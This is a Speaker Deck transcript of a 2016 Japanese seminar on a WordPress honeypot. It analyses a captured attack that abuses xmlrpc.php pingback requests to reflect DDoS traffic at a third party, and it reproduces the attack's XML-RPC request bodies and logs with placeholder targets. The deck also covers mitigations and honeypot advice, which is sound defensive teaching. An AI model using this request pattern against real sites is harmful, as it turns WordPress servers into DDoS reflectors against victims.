Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ハニーポットで捕らえるWordPressへの攻撃
Search
junk_coken
August 04, 2016
Technology
4k
1
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
ハニーポットで捕らえるWordPressへの攻撃
OSCKyoto2016 国立セキュリティ・キャンプ第12期同窓会
セミナー資料
junk_coken
August 04, 2016
More Decks by junk_coken
See All by junk_coken
HTTPSハニポとFingerprint
junk_coken
1
2.2k
6/14総サイLT~ハニーポットを作ってる話~
junk_coken
0
2k
ハニーポットで集める攻撃手法-seccamp2016
junk_coken
2
1k
Other Decks in Technology
See All in Technology
AI駆動開発が変える、大規模開発の前提 ーHuman in the Loop から Human on the Loop へ / AIE2026
visional_engineering_and_design
30
24k
なぜ Platform Engineering の土台に Kubernetes を選ぶのか
r4ynode
1
560
非定型業務をAI slackbotで自動化する ~ 社内要望を自動壁打ちするbotを作った ~/automating-ad-hoc-work-with-ai-slackbot
shibayu36
0
580
Android の公式 Skill / Android skills
yanzm
0
120
自律型AIエージェントは何を破壊するのか
kojira
0
150
2026.06.13_AI時代に事業会社が「SIer出身エンジニア」を求める理由 / Why Businesses Seek Engineers with a System Integrator Background in the AI Era
jumtech
0
1k
失敗を資産に変えるClaude Code
shinyasaita
0
300
「速く作る」から「正しく作る」へ ─ 生成AI時代の開発フロー改革の ロードマップと実行 ─
starfish719
0
9.8k
あなたの AI ワークスペースに、 専門コーダーを連れてくる - Amazon Quick Desktop 最新情報
kawaji_scratch
1
130
How Timee Delivers Day 1 Production Ready LLM Features
tomoyks
0
110
手塩にかけりゃいいってもんじゃない
ming_ayami
0
240
Building applications in the Gemini API family.
line_developers_tw
PRO
0
2.9k
Featured
See All Featured
Dominate Local Search Results - an insider guide to GBP, reviews, and Local SEO
greggifford
PRO
0
190
Abbi's Birthday
coloredviolet
2
8k
Embracing the Ebb and Flow
colly
88
5.1k
4 Signs Your Business is Dying
shpigford
187
22k
Why You Should Never Use an ORM
jnunemaker
PRO
61
9.9k
Scaling GitHub
holman
464
140k
Getting science done with accelerated Python computing platforms
jacobtomlinson
2
220
Optimising Largest Contentful Paint
csswizardry
37
3.7k
Money Talks: Using Revenue to Get Sh*t Done
nikkihalliwell
0
250
Producing Creativity
orderedlist
PRO
348
40k
HTML-Aware ERB: The Path to Reactive Rendering @ RubyCon 2026, Rimini, Italy
marcoroth
1
170
How to Think Like a Performance Engineer
csswizardry
28
2.6k
Transcript
ハニーポットで捕らえる WordPressへの攻撃 国立セキュリティ・キャンプ第12期同窓會 junk_coken (@junk_coken)
自己紹介 •@junk_coken •セキュリティ・キャンプ全国大会2015参加 • 2016検知トラックチューター •ハニーポットを中心に独学研究している 自称ハニーポッター見習い
セミナー内容 •ハニーポットの紹介 •ハニーポットで捕れた WordPressへの攻撃解説 •時間の都合上1つだけ
ハニーポットとは?
ハニーポットとは? • わざと脆弱性がありそうなシステムを設置、 それに対して行われる攻撃ログ、マルウェアを収集する • 別に脆弱性を持っている必要はない • クラッカーの攻撃手法やマルウェアの実態がわかる
ハニーポットの環境
今回のハニーポット • NginxとWordPressで作ったハニーポット • 実際のシステムを使うことでより特化し柔軟なハニーポットに なる (ただしそれなりにリスクはある) • Raspberry Pi
2 & Raspbian • Raspberry Piでも十分快適!!!
今回の収集対象 •基本的にはHTTPのHTTPリクエスト(GET,POST) •WordPressなので、主にWordPressに対する攻撃を 集める • WordPress以外に対する攻撃も取れる
WordPress • ご存知有名なブログシステム • Pluginを利用することで拡張することができる • 今回は最低限のPluginを入れておく • 自作記事自動投稿プラグイン(ズンドコするやつ) •
WP-Mail-SMTP • Contact form 7 • Disable XML-RPC Pingback • 攻撃の有無はログで見分ける!
• (画像)
攻撃解説 xmlrpc.phpによるDDoS
XMLRPC.phpを狙ったDDoS踏み台攻撃 IPアドレス - - [日時] "GET /feed/ HTTP/1.1" 200 ※見辛いためログを簡略化しています
IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>“ IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>"
行動をトレースしてみる
①GET /feed/ XMLが返ってくる RSSのためのXML
①GET /feed/ <?xml version”1.0” encoding=“UTF-8”?> ・ ・ ・ <channel> ・
・ ・ <title>2016年07月26日、本日のZUNDOKOKIYOSHI!!</title> <link>記事URL</link> <comments>記事URL/#respond</comments> <pubDate>Mon, 25 Jul 2016 15:20:33 +0000</pubDate> <dc:creator><![CDATA[zundoko]]></dc:creator> <category><![CDATA[未分類]]></category> ↙記事があるかどうかをチェック
②POST /xmlrpc.php -request Content Type:application/xml “<?xml version= 1.0 ?> <methodCall>
<methodName>pingback.ping</methodName> <params><param> <value><string>攻撃先URL</string></value> </param><param> <value><string>WordPressの記事</string></value> </param></params> </methodCall>" このリクエストを何度も送信!!(DoS)
そもそもxmlrpc.phpとは? • XML-RPCというプロトコル • データをXMLで送受信しやすくするためのプロトコル • WordPressでXML-RPCを使うAPIが提供されている • XML-RPC WordPress
API • Blogger API, metaWeblog API, Movable Type API, Pingback API • xmlrpc.phpはXML-RPCのAPIを直接利用する • DDoSはXML-RPC API内のPingbackAPIを悪用し行われる
PingbackAPI • DDoSに悪用されるが、当然想定外 • PingBackは、他人の記事をリンクしたときに 「リンクしましたよ」と伝える機能 • このWordPress PingBackAPIは、WordPress同士での利用を想定して いる
• リンクした側がWordPressなら、リンクされた側がWordPressでなくても 送られる ↓ 悪用に繋がる
Pingback通常の動作 -request リンクするサイト:http://A.ex リンクされるサイト:http://B.ex POST http://B.ex/xmlrpc.php <?xml version= 1.0 ?>
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params><param><value> <string>http://A.ex より http://B.exへのピンバックが登録されま
した。ウェブでの会話を続けてください ! :-)</string> </value></param></params> </methodResponse>
Pingback通常の動作 -Arequest • 同時に、このリクエストも送信される GET http://B.ex/blogno1 UserAgent:“WordPress/4.5.3; http://A.ex; verifying pingback
from 送信元IP"
Pingback通常の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>48</int></value>
</member><member> <name>faultString</name> <value><string>そのピンバックはすでに登録済みです。</string></value> </member></struct></value> </fault> </methodResponse>
Pingback通常の動作(もう一回) -request •今度は、GETリクエストは送られない
どうやって悪用するか?
Pingback悪用時の動作 -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • WordPressではないのにアクセスされる・・・。
Pingback悪用時の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • 何度でも可能 ↓ • DDoSへ悪用
まとめ • WordPressのxmlrpc.phpはデフォルトでDDoSの脆弱性を抱えている • 悪用されないためには、xmlrpc.phpにアクセス制限を掛ける、 もしくはPingback APIを無効化するプラグインを利用する • しかし、プラグインによる無効化だとDoS自体は解消されない (VPS等ではお叱りを受ける可能性がある)
• ただし、このDDoSは効果が薄い • DDoSと同じ量をDoSしないといけない(1アクセスにつき1回) • 攻撃元IPがUserAgentであるが晒される • 非効率的だが、デフォルトで存在するので成功率は高い
おまけ ハニーポット、やってみませんか?
初めてのハニーポット • ハニーポットは大きく分けて2種類 • 低対話型:サービスをエミュレーション • 高対話型:実際のサービスをそのまま使う • Webサービスに対する攻撃を集めたい場合、 特に何もしないHTMLを置いておくだけでもある程度取れる。
• ただし高対話型なので更新は怠らないように • マルウェアを集めて解析を行いたい場合、低対話型を使う • おすすめはSSHハニーポットCowrie • ごりごりマルウェアが放り込まれる
注意点 • 契約プロバイダの禁止事項に抵触しないよう確認の上作りましょう。 • ハニーポットで知った攻撃方法を自分の管理外のコンピュータなど で試してはいけません。 • アクセス制御はしっかり行いましょう。 • 定期的にメンテナンスしましょう。
君も攻撃の実状を 確かみてみろ!!! -終-